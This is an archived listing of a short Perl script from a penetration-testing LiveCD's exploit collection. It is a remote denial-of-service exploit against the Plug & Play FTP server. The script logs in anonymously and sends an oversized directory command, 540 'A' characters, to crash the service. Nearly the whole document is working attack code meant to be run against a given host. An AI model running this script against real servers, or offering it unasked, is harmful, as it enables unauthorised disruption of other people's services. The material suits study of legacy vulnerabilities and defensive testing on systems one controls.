home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / plugplayftp / ppftpdos.pl < prev   
Perl Script  |  2005-02-12  |  821b  |  35 lines

  1. #!/usr/bin/perl
  2. # ppftpdos.pl - Remote denial of service against Plug & Play FTP server
  3.  
  4. use Net::FTP;
  5.  
  6. $host = $ARGV[0];
  7.  
  8. $buffer = "A"x540;
  9.  
  10. if("$ARGV[0]" eq "") {
  11.         print("DOS against Plug & Play FTP Server by Bahaa Naamneh\n");
  12.         print("b_naamneh@hotmail.com - http://www.bsecurity.tk\n");
  13.         print("====================================================\n");
  14.         die("Usage : ./PPftpdos <host\/ip>\n");
  15. } else {
  16.  
  17.         print("Connecting to $host...\n");
  18.         my $ftp = Net::FTP->new($host) or die "Couldn't connect to
  19. $host\n";
  20.         print("Connected!\n");
  21.  
  22.         $username = "anonymous";
  23.         $password = "anonymous";
  24.  
  25.         $ftp->login($username, $password)
  26.         or die "Could not log in.\n";
  27.  
  28.         $ftp->dir($buffer);
  29.  
  30.         $ftp->quit();
  31.  
  32.         print("Success!\n");
  33. }
  34.  
  35.